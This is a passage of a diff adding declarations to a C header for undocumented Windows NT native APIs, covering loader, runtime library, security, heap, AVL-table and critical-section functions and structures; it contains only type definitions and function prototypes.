FLT_OBFL_ZOMBIED 0x2 +#define FLT_OBFL_TYPE_INSTANCE 0x1000000 +#define FLT_OBFL_TYPE_FILTER 0x2000000 +#define FLT_OBFL_TYPE_VOLUME 0x4000000 + +typedef struct _FLT_OBJECT { + ULONG Flags; + ULONG PointerCount; + EX_RUNDOWN_REF RundownRef; + LIST_ENTRY PrimaryLink; +} FLT_OBJECT, * PFLT_OBJECT; + +typedef struct _FLT_SERVER_PORT_OBJECT { + LIST_ENTRY FilterLink; + PVOID ConnectNotify; + PVOID DisconnectNotify; + PVOID MessageNotify; + PVOID Filter; + PVOID Cookie; + ULONG Flags; + ULONG NumberOfConnections; + ULONG MaxConnections; +} FLT_SERVER_PORT_OBJECT, * PFLT_SERVER_PORT_OBJECT; + +/* +** FLT MANAGER END +*/ + +/* +** RTL START +*/ + +typedef NTSTATUS(*PUSER_PROCESS_START_ROUTINE)( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +typedef NTSTATUS(*PUSER_THREAD_START_ROUTINE)( + PVOID ThreadParameter + ); + +typedef struct _RTL_USER_PROCESS_INFORMATION { + ULONG Length; + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; + SECTION_IMAGE_INFORMATION ImageInformation; +} RTL_USER_PROCESS_INFORMATION, * PRTL_USER_PROCESS_INFORMATION; + +// +// This structure is used only by Wow64 processes. The offsets +// of structure elements should the same as viewed by a native Win64 application. +// +typedef struct _RTL_USER_PROCESS_INFORMATION64 { + ULONG Length; + LONGLONG Process; + LONGLONG Thread; + CLIENT_ID64 ClientId; + SECTION_IMAGE_INFORMATION64 ImageInformation; +} RTL_USER_PROCESS_INFORMATION64, * PRTL_USER_PROCESS_INFORMATION64; + +/* +** RTL END +*/ + +/* +** LDR START +*/ + +typedef +VOID(NTAPI* PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION)( + _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry, + _In_ PVOID Context, + _Inout_ BOOLEAN* StopEnumeration + ); + +typedef +VOID(CALLBACK* PLDR_DLL_NOTIFICATION_FUNCTION)( + _In_ ULONG NotificationReason, + _In_ PCLDR_DLL_NOTIFICATION_DATA NotificationData, + _In_opt_ PVOID Context + ); + +NTSTATUS NTAPI LdrAccessResource( + _In_ PVOID DllHandle, + _In_ CONST IMAGE_RESOURCE_DATA_ENTRY* ResourceDataEntry, + _Out_opt_ PVOID* Address, + _Out_opt_ PULONG Size +); + +NTSTATUS NTAPI LdrAddRefDll( + ULONG Flags, + PVOID DllHandle +); + +NTSTATUS NTAPI LdrEnumerateLoadedModules( + _In_opt_ ULONG Flags, + _In_ PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION CallbackFunction, + _In_opt_ PVOID Context +); + +NTSTATUS NTAPI LdrFindResource_U( + _In_ PVOID DllHandle, + _In_ CONST ULONG_PTR* ResourceIdPath, + _In_ ULONG ResourceIdPathLength, + _Out_ PIMAGE_RESOURCE_DATA_ENTRY* ResourceDataEntry +); + +NTSTATUS NTAPI LdrFindEntryForAddress( + _In_ PVOID Address, + _Out_ PLDR_DATA_TABLE_ENTRY* TableEntry +); + +NTSTATUS NTAPI LdrGetDllHandle( + _In_opt_ PCWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PCUNICODE_STRING DllName, + _Out_ PVOID* DllHandle +); + +NTSTATUS NTAPI LdrGetProcedureAddress( + _In_ PVOID DllHandle, + _In_opt_ CONST ANSI_STRING* ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID* ProcedureAddress +); + +NTSTATUS NTAPI LdrLoadDll( + _In_opt_ PCWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PCUNICODE_STRING DllName, + _Out_ PVOID* DllHandle +); + +NTSTATUS NTAPI LdrQueryProcessModuleInformation( + _Out_ PRTL_PROCESS_MODULES ModuleInformation, + _In_ ULONG ModuleInformationLength, + _Out_opt_ PULONG ReturnLength +); + +NTSTATUS NTAPI LdrUnloadDll( + _In_ PVOID DllHandle +); + +NTSTATUS NTAPI LdrRegisterDllNotification( + _In_ ULONG Flags, + _In_ PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + _In_opt_ PVOID Context, + _Out_ PVOID* Cookie +); + +NTSTATUS NTAPI LdrUnregisterDllNotification( + _In_ PVOID Cookie +); + +NTSTATUS NTAPI LdrResSearchResource( + _In_ PVOID File, + _In_ CONST ULONG_PTR* ResIds, + _In_ ULONG ResIdCount, + _In_ ULONG Flags, + _Out_ LPVOID* Resource, + _Out_ ULONG_PTR* Size, + _In_opt_ USHORT* FoundLanguage, + _In_opt_ ULONG* FoundLanguageLength +); + +NTSTATUS NTAPI LdrOpenImageFileOptionsKey( + _In_ PCUNICODE_STRING ImagePathName, + _In_ BOOLEAN Wow64Path, + _Out_ PHANDLE KeyHandle +); + +NTSTATUS NTAPI LdrQueryImageFileExecutionOptions( + _In_ PCUNICODE_STRING ImagePathName, + _In_ PCWSTR OptionName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ResultSize +); + +NTSTATUS NTAPI LdrQueryImageFileExecutionOptionsEx( + _In_ PCUNICODE_STRING ImagePathName, + _In_ PCWSTR OptionName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ResultSize, + _In_ BOOLEAN Wow64Path +); + +NTSTATUS NTAPI LdrQueryImageFileKeyOption( + _In_ HANDLE KeyHandle, + _In_ PCWSTR OptionName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ResultSize +); + +/* +** LDR END +*/ + +typedef PVOID PHEAD; + +typedef struct _HANDLEENTRY { + PHEAD phead; // Pointer to the Object. + PVOID pOwner; // PTI or PPI + BYTE bType; // Object handle type + BYTE bFlags; // Flags + WORD wUniq; // Access count. +} HANDLEENTRY, * PHANDLEENTRY; + +typedef struct _SERVERINFO { + WORD wRIPFlags; + WORD wSRVIFlags; + WORD wRIPPID; + WORD wRIPError; + ULONG cHandleEntries; + // incomplete +} SERVERINFO, * PSERVERINFO; + +typedef struct _SHAREDINFO { + PSERVERINFO psi; + PHANDLEENTRY aheList; + ULONG HeEntrySize; + // incomplete +} SHAREDINFO, * PSHAREDINFO; + +typedef struct _USERCONNECT +{ + ULONG ulVersion; + ULONG ulCurrentVersion; + DWORD dwDispatchCount; + SHAREDINFO siClient; +} USERCONNECT, * PUSERCONNECT; + +/* +** Csr Runtime START +*/ + +ULONG NTAPI CsrGetProcessId( +); + +NTSTATUS NTAPI CsrClientConnectToServer( + _In_ PWSTR ObjectDirectory, + _In_ ULONG ServerDllIndex, + _Inout_ PVOID ConnectionInformation, + _Inout_ ULONG* ConnectionInformationLength, + _Out_ PBOOLEAN CalledFromServer +); + +/* +** Csr Runtime END +*/ + +/* +** Runtime Library API START +*/ + +NTSTATUS NTAPI RtlCreateEnvironment( + _In_ BOOLEAN CloneCurrentEnvironment, + _Out_ PVOID* Environment +); + +NTSTATUS NTAPI RtlDestroyEnvironment( + _In_ PVOID Environment +); + +NTSTATUS NTAPI RtlCreateProcessParameters( + _Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData +); + +NTSTATUS NTAPI RtlDestroyProcessParameters( + _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters +); + +NTSTATUS NTAPI RtlCreateProcessParametersEx( + _Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData, + _In_ ULONG Flags); + +NTSTATUS NTAPI RtlCreateUserProcess( + PUNICODE_STRING NtImagePathName, + ULONG Attributes, + PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + HANDLE ParentProcess, + BOOLEAN InheritHandles, + HANDLE DebugPort, + HANDLE ExceptionPort, + PRTL_USER_PROCESS_INFORMATION ProcessInformation +); + +NTSTATUS NTAPI RtlCreateUserThread( + _In_ HANDLE Process, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_ BOOLEAN CreateSuspended, + _In_ ULONG StackZeroBits, + _In_opt_ SIZE_T MaximumStackSize, + _In_opt_ SIZE_T InitialStackSize, + _In_ PUSER_THREAD_START_ROUTINE StartAddress, + _In_opt_ PVOID Parameter, + _Out_opt_ PHANDLE Thread, + _Out_opt_ PCLIENT_ID ClientId +); + +VOID NTAPI RtlExitUserThread( + IN NTSTATUS ExitStatus +); + +VOID NTAPI RtlFreeUserThreadStack( + HANDLE hProcess, + HANDLE hThread +); + +ULONG NTAPI RtlRandomEx( + _Inout_ PULONG Seed +); + +PVOID NTAPI RtlAddVectoredExceptionHandler( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler +); + +ULONG NTAPI RtlRemoveVectoredExceptionHandler( + _In_ PVOID Handle +); + +//VOID NTAPI RtlRaiseException( +// _In_ PEXCEPTION_RECORD +//); + +VOID NTAPI RtlPushFrame( + _In_ PTEB_ACTIVE_FRAME Frame +); + +VOID NTAPI RtlPopFrame( + _In_ PTEB_ACTIVE_FRAME Frame +); + +PTEB_ACTIVE_FRAME NTAPI RtlGetFrame( + VOID +); + +BOOLEAN NTAPI RtlCreateUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_ PCWSTR SourceString +); + +VOID NTAPI RtlInitUnicodeString( + _Inout_ PUNICODE_STRING DestinationString, + _In_opt_ PCWSTR SourceString +); + +BOOLEAN NTAPI RtlEqualUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive +); + +BOOLEAN NTAPI RtlPrefixUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive +); + +NTSTATUS NTAPI RtlGetVersion( + _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation +); + +ULONG NTAPI RtlNtStatusToDosError( + _In_ NTSTATUS Status +); + +NTSTATUS NTAPI RtlGetOwnerSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID* Owner, + _Out_ PBOOLEAN OwnerDefaulted +); + +NTSTATUS NTAPI RtlGetGroupSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID* Group, + _Out_ PBOOLEAN GroupDefaulted +); + +NTSTATUS NTAPI RtlGetDaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN DaclPresent, + _Out_ PACL* Dacl, + _Out_ PBOOLEAN DaclDefaulted +); + +NTSTATUS NTAPI RtlGetSaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN SaclPresent, + _Out_ PACL* Sacl, + _Out_ PBOOLEAN SaclDefaulted +); + +ULONG NTAPI RtlLengthSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor +); + +VOID NTAPI RtlMapGenericMask( + _In_ PACCESS_MASK AccessMask, + _In_ PGENERIC_MAPPING GenericMapping +); + +VOID NTAPI RtlInitString( + PSTRING DestinationString, + PCSZ SourceString +); + +NTSTATUS NTAPI RtlExpandEnvironmentStrings( + _In_opt_ PVOID Environment, + _In_reads_(SrcLength) PWSTR Src, + _In_ SIZE_T SrcLength, + _Out_writes_opt_(DstLength) PWSTR Dst, + _In_ SIZE_T DstLength, + _Out_opt_ PSIZE_T ReturnLength +); + +NTSTATUS NTAPI RtlExpandEnvironmentStrings_U( + _In_opt_ PVOID Environment, + _In_ PCUNICODE_STRING Source, + _Out_ PUNICODE_STRING Destination, + _Out_opt_ PULONG ReturnedLength +); + +VOID NTAPI RtlSetLastWin32Error( + LONG Win32Error +); + +NTSTATUS NTAPI RtlWow64EnableFsRedirection( + _In_ BOOLEAN Wow64FsEnableRedirection +); + +NTSTATUS NTAPI RtlWow64EnableFsRedirectionEx( + _In_ PVOID DisableFsRedirection, + _Out_ PVOID* OldFsRedirectionLevel +); + +PVOID NTAPI RtlEncodePointer( + PVOID Ptr +); + +PVOID NTAPI RtlDecodePointer( + PVOID Ptr +); + +typedef NTSTATUS +(NTAPI* PRTL_HEAP_COMMIT_ROUTINE)( + IN PVOID Base, + IN OUT PVOID* CommitAddress, + IN OUT PSIZE_T CommitSize + ); + +typedef struct _RTL_HEAP_PARAMETERS { + ULONG Length; + SIZE_T SegmentReserve; + SIZE_T SegmentCommit; + SIZE_T DeCommitFreeBlockThreshold; + SIZE_T DeCommitTotalFreeThreshold; + SIZE_T MaximumAllocationSize; + SIZE_T VirtualMemoryThreshold; + SIZE_T InitialCommit; + SIZE_T InitialReserve; + PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; + SIZE_T Reserved[2]; +} RTL_HEAP_PARAMETERS, * PRTL_HEAP_PARAMETERS; + +PVOID NTAPI RtlCreateHeap( + _In_ ULONG Flags, + _In_opt_ PVOID HeapBase, + _In_opt_ SIZE_T ReserveSize, + _In_opt_ SIZE_T CommitSize, + _In_opt_ PVOID Lock, + _In_opt_ PRTL_HEAP_PARAMETERS Parameters +); + +PVOID NTAPI RtlDestroyHeap( + _In_ PVOID HeapHandle +); + +PVOID NTAPI RtlAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ SIZE_T Size +); + +BOOLEAN NTAPI RtlFreeHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress +); + +BOOLEAN NTAPI RtlValidSid( + PSID Sid +); + +BOOLEAN NTAPI RtlEqualSid( + PSID Sid1, + PSID Sid2 +); + +BOOLEAN NTAPI RtlEqualPrefixSid( + PSID Sid1, + PSID Sid2 +); + +ULONG NTAPI RtlLengthRequiredSid( + ULONG SubAuthorityCount +); + +PVOID NTAPI RtlFreeSid( + IN PSID Sid +); + +NTSTATUS NTAPI RtlAllocateAndInitializeSid( + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount, + IN ULONG SubAuthority0, + IN ULONG SubAuthority1, + IN ULONG SubAuthority2, + IN ULONG SubAuthority3, + IN ULONG SubAuthority4, + IN ULONG SubAuthority5, + IN ULONG SubAuthority6, + IN ULONG SubAuthority7, + OUT PSID* Sid +); + +NTSTATUS NTAPI RtlInitializeSid( + PSID Sid, + PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + UCHAR SubAuthorityCount +); + +PSID_IDENTIFIER_AUTHORITY NTAPI RtlIdentifierAuthoritySid( + PSID Sid +); + +PULONG NTAPI RtlSubAuthoritySid( + PSID Sid, + ULONG SubAuthority +); + +PUCHAR NTAPI RtlSubAuthorityCountSid( + PSID Sid +); + +ULONG NTAPI RtlLengthSid( + PSID Sid +); + +NTSTATUS NTAPI RtlCopySid( + ULONG DestinationSidLength, + PSID DestinationSid, + PSID SourceSid +); + +NTSTATUS NTAPI RtlCopySidAndAttributesArray( + ULONG ArrayLength, + PSID_AND_ATTRIBUTES Source, + ULONG TargetSidBufferSize, + PSID_AND_ATTRIBUTES TargetArrayElement, + PSID TargetSid, + PSID* NextTargetSid, + PULONG RemainingTargetSidSize +); + +NTSTATUS NTAPI RtlLengthSidAsUnicodeString( + PSID Sid, + PULONG StringLength +); + +NTSTATUS NTAPI RtlConvertSidToUnicodeString( + PUNICODE_STRING UnicodeString, + PSID Sid, + BOOLEAN AllocateDestinationString +); + +NTSTATUS NTAPI RtlCreateSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor, + ULONG Revision +); + +NTSTATUS NTAPI RtlSetOwnerSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor, + PSID Owner, + BOOLEAN OwnerDefaulted +); + +FORCEINLINE LUID +NTAPI +RtlConvertLongToLuid( + LONG Long +) +{ + LUID TempLuid; + LARGE_INTEGER TempLi; + + TempLi.QuadPart = Long; + TempLuid.LowPart = TempLi.LowPart; + TempLuid.HighPart = TempLi.HighPart; + return(TempLuid); +} + +NTSTATUS NTAPI RtlFormatCurrentUserKeyPath( + _Out_ PUNICODE_STRING CurrentUserKeyPath +); + +VOID NTAPI RtlFreeUnicodeString( + PUNICODE_STRING UnicodeString +); + +VOID NTAPI RtlFreeAnsiString( + PANSI_STRING AnsiString +); + +NTSTATUS NTAPI RtlAnsiStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCANSI_STRING SourceString, + BOOLEAN AllocateDestinationString +); + +BOOLEAN NTAPI RtlDosPathNameToNtPathName_U( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR* FilePart, + PVOID Reserved +); + +NTSTATUS NTAPI RtlGetCompressionWorkSpaceSize( + _In_ USHORT CompressionFormatAndEngine, + _Out_ PULONG CompressBufferWorkSpaceSize, + _Out_ PULONG CompressFragmentWorkSpaceSize +); + +NTSTATUS NTAPI RtlCompressBuffer( + _In_ USHORT CompressionFormatAndEngine, + _In_ PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _Out_ PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ ULONG UncompressedChunkSize, + _Out_ PULONG FinalCompressedSize, + _In_ PVOID WorkSpace +); + +NTSTATUS NTAPI RtlDecompressBuffer( + _In_ USHORT CompressionFormat, + _Out_ PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_ PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _Out_ PULONG FinalUncompressedSize +); + +PIMAGE_NT_HEADERS NTAPI RtlImageNtHeader( + _In_ PVOID Base +); + +NTSYSAPI PVOID NTAPI RtlAddressInSectionTable( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG VirtualAddress +); + +PVOID NTAPI RtlImageDirectoryEntryToData( + PVOID BaseOfImage, + BOOLEAN MappedAsImage, + USHORT DirectoryEntry, + PULONG Size +); + +VOID NTAPI RtlSecondsSince1970ToTime( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time +); + +VOID NTAPI RtlSecondsSince1980ToTime( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time +); + +BOOLEAN NTAPI RtlTimeToSecondsSince1980( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds +); + +VOID NTAPI RtlTimeToTimeFields( + _Inout_ PLARGE_INTEGER Time, + _Inout_ PTIME_FIELDS TimeFields +); + +BOOLEAN NTAPI RtlTimeFieldsToTime( + PTIME_FIELDS TimeFields, + PLARGE_INTEGER Time +); + +ULONG32 NTAPI RtlComputeCrc32( + _In_ ULONG32 PartialCrc, + _In_ PVOID Buffer, + _In_ ULONG Length +); + +VOID NTAPI RtlGetNtVersionNumbers( + _Out_opt_ PULONG MajorVersion, + _Out_opt_ PULONG MinorVersion, + _Out_opt_ PULONG BuildNumber +); + +PPEB NTAPI RtlGetCurrentPeb( + VOID +); + +PWSTR NTAPI RtlIpv4AddressToStringW( + __in const struct in_addr* Addr, + __out_ecount(16) PWSTR S +); + +NTSTATUS NTAPI RtlAdjustPrivilege( + ULONG Privilege, + BOOLEAN Enable, + BOOLEAN Client, + PBOOLEAN WasEnabled +); + +// +// preallocated heap-growable buffers +// +typedef struct _RTL_BUFFER { + PUCHAR Buffer; + PUCHAR StaticBuffer; + SIZE_T Size; + SIZE_T StaticSize; + SIZE_T ReservedForAllocatedSize; // for future doubling + PVOID ReservedForIMalloc; // for future pluggable growth +} RTL_BUFFER, * PRTL_BUFFER; + +typedef struct _RTL_UNICODE_STRING_BUFFER { + UNICODE_STRING String; + RTL_BUFFER ByteBuffer; + UCHAR MinimumStaticBufferForTerminalNul[sizeof(WCHAR)]; +} RTL_UNICODE_STRING_BUFFER, * PRTL_UNICODE_STRING_BUFFER; + +NTSTATUS NTAPI RtlNtPathNameToDosPathName( + _In_ ULONG Flags, + _Inout_ PRTL_UNICODE_STRING_BUFFER Path, + _Out_opt_ PULONG Disposition, + _Inout_opt_ PWSTR* FilePart +); + +ULONG NTAPI RtlIsDosDeviceName_U( + PCWSTR DosFileName +); + +ULONG NTAPI RtlGetFullPathName_U( + __in PCWSTR lpFileName, + __in ULONG nBufferLength, + __out_bcount(nBufferLength) PWSTR lpBuffer, + __out_opt PWSTR* lpFilePart +); + +typedef enum _RTL_PATH_TYPE { + RtlPathTypeUnknown, // 0 + RtlPathTypeUncAbsolute, // 1 + RtlPathTypeDriveAbsolute, // 2 + RtlPathTypeDriveRelative, // 3 + RtlPathTypeRooted, // 4 + RtlPathTypeRelative, // 5 + RtlPathTypeLocalDevice, // 6 + RtlPathTypeRootLocalDevice // 7 +} RTL_PATH_TYPE; + +RTL_PATH_TYPE NTAPI RtlDetermineDosPathNameType_U( + PCWSTR DosFileName +); + +#define HASH_STRING_ALGORITHM_DEFAULT (0) +#define HASH_STRING_ALGORITHM_X65599 (1) +#define HASH_STRING_ALGORITHM_INVALID (0xffffffff) + +NTSTATUS NTAPI RtlHashUnicodeString( + _In_ const UNICODE_STRING* String, + _In_ BOOLEAN CaseInSensitive, + _In_ ULONG HashAlgorithm, + _Out_ PULONG HashValue +); + +ULONG DbgPrint( + _In_ PCH Format, + ... +); + +/* +** Runtime Library API END +*/ + +/* +** Generic AVL API START +*/ +typedef ULONG CLONG; + +typedef enum _TABLE_SEARCH_RESULT { + TableEmptyTree, + TableFoundNode, + TableInsertAsLeft, + TableInsertAsRight +} TABLE_SEARCH_RESULT; + +typedef enum _RTL_GENERIC_COMPARE_RESULTS { + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +//typedef struct _RTL_AVL_TABLE RTL_AVL_TABLE; +//typedef struct PRTL_AVL_TABLE *_RTL_AVL_TABLE; + +typedef struct _RTL_BALANCED_LINKS { + struct _RTL_BALANCED_LINKS* Parent; + struct _RTL_BALANCED_LINKS* LeftChild; + struct _RTL_BALANCED_LINKS* RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS, * PRTL_BALANCED_LINKS; + +typedef struct _RTL_AVL_TABLE { + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + FARPROC CompareRoutine; + FARPROC AllocateRoutine; + FARPROC FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE, * PRTL_AVL_TABLE; + + +typedef RTL_GENERIC_COMPARE_RESULTS(NTAPI* PRTL_AVL_COMPARE_ROUTINE)( + _In_ _RTL_AVL_TABLE* Table, + _In_ PVOID FirstStruct, + _In_ PVOID SecondStruct + ); + +typedef PVOID(NTAPI* PRTL_AVL_ALLOCATE_ROUTINE)( + _In_ _RTL_AVL_TABLE* Table, + _In_ ULONG ByteSize + ); + +typedef VOID(NTAPI* PRTL_AVL_FREE_ROUTINE)( + _In_ _RTL_AVL_TABLE* Table, + _In_ _Post_invalid_ PVOID Buffer + ); + +typedef NTSTATUS(NTAPI* PRTL_AVL_MATCH_FUNCTION)( + _In_ _RTL_AVL_TABLE* Table, + _In_ PVOID UserData, + _In_ PVOID MatchData + ); + +VOID NTAPI RtlInitializeGenericTableAvl( + _Out_ PRTL_AVL_TABLE Table, + _In_ PRTL_AVL_COMPARE_ROUTINE CompareRoutine, + _In_ PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, + _In_ PRTL_AVL_FREE_ROUTINE FreeRoutine, + _In_opt_ PVOID TableContext +); + +PVOID NTAPI RtlInsertElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ CLONG BufferSize, + _Out_opt_ PBOOLEAN NewElement +); + +PVOID NTAPI RtlInsertElementGenericTableFullAvl( + _In_ PRTL_AVL_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ CLONG BufferSize, + _Out_opt_ PBOOLEAN NewElement, + _In_ PVOID NodeOrParent, + _In_ TABLE_SEARCH_RESULT SearchResult +); + +BOOLEAN NTAPI RtlDeleteElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer +); + +PVOID NTAPI RtlLookupElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer +); + +PVOID NTAPI RtlLookupElementGenericTableFullAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID* NodeOrParent, + _Out_ TABLE_SEARCH_RESULT* SearchResult +); + +PVOID NTAPI RtlEnumerateGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ BOOLEAN Restart +); + +PVOID NTAPI RtlEnumerateGenericTableWithoutSplayingAvl( + _In_ PRTL_AVL_TABLE Table, + _Inout_ PVOID* RestartKey +); + +PVOID NTAPI RtlLookupFirstMatchingElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID* RestartKey +); + +PVOID NTAPI RtlEnumerateGenericTableLikeADirectory( + _In_ PRTL_AVL_TABLE Table, + _In_opt_ PRTL_AVL_MATCH_FUNCTION MatchFunction, + _In_opt_ PVOID MatchData, + _In_ ULONG NextFlag, + _Inout_ PVOID* RestartKey, + _Inout_ PULONG DeleteCount, + _In_ PVOID Buffer +); + +PVOID NTAPI RtlGetElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ ULONG I +); + +ULONG NTAPI RtlNumberGenericTableElementsAvl( + _In_ PRTL_AVL_TABLE Table +); + +BOOLEAN NTAPI RtlIsGenericTableEmptyAvl( + _In_ PRTL_AVL_TABLE Table +); + +/* +** Generic Avl END +*/ + +/* +** Critical Section START +*/ +#define LOGICAL ULONG + +NTSTATUS NTAPI RtlEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection +); + +NTSTATUS NTAPI RtlLeaveCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection +); + +LOGICAL NTAPI RtlIsCriticalSectionLocked( + IN PRTL_CRITICAL_SECTION CriticalSection +); + +LOGICAL NTAPI RtlIsCriticalSectionLockedByThread( + IN PRTL_CRITICAL_SECTION CriticalSection +); + +ULONG NTAPI RtlGetCriticalSectionRecursionCount( + IN PRTL_CRITICAL_SECTION CriticalSection +); + +LOGICAL NTAPI RtlTryEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection +); + +NTSTATUS NTAPI RtlInitializeCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection +); + +VOID NTAPI RtlEnableEarlyCriticalSectionEventCreation( + VOID +); + +NTSTATUS NTAPI RtlInitializeCriticalSectionAndSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount +); + +ULONG NTAPI RtlSetCriticalSectionSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount +); + +NTSTATUS NTAPI RtlDeleteCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection +); + +/* +** Critical Section END +*/ + +/* +** UAC Elevation Start +*/ + +#define DBG_FLAG_ELEVATION_ENABLED 1 +#define DBG_FLAG_VIRTUALIZATION_ENABLED 2 +#define DBG_FLAG_INSTALLER_DETECT_ENABLED 3 + +NTSTATUS NTAPI RtlQueryElevationFlags( + _Inout_ ULONG* ElevationFlags +); + +/* +** UAC Elevation END +*/ + + +/* +* Memory parition START +*/ + +typedef enum _MEMORY_PARTITION_INFORMATION_CLASS { + SystemMemoryPartitionInformation, + SystemMemoryPartitionMoveMemory, + SystemMemoryPartitionAddPagefile, + SystemMemoryPartitionCombineMemory, + SystemMemoryPartitionInitialAddMemory +} MEMORY_PARTITION_INFORMATION_CLASS; + +typedef struct _MEMORY_PARTITION_PAGE_RANGE { + ULONG_PTR StartPage; + ULONG_PTR NumberOfPages; +} MEMORY_PARTITION_PAGE_RANGE, * PMEMORY_PARTITION_PAGE_RANGE; + +typedef struct _MEMORY_PARTITION_INITIAL_ADD_INFORMATION { + ULONG Flags; + ULONG NumberOfRanges; + ULONG_PTR NumberOfPagesAdded; + MEMORY_PARTITION_PAGE_RANGE PartitionRanges[1]; +} MEMORY_PARTITION_INITIAL_ADD_INFORMATION, * PMEMORY_PARTITION_INITIAL_ADD_INFORMATION; + +typedef struct _MEMORY_PARTITION_PAGE_COMBINE_INFORMATION { + PVOID StopHandle; + ULONG Flags; + ULONG_PTR TotalNumberOfPages; +} MEMORY_PARTITION_PAGE_COMBINE_INFORMATION, * PMEMORY_PARTITION_PAGE_COMBINE_INFORMATION; + +typedef struct _MEMORY_PARTITION_PAGEFILE_INFORMATION { + UNICODE_STRING PageFileName; + LARGE_INTEGER MinimumSize; + LARGE_INTEGER MaximumSize; 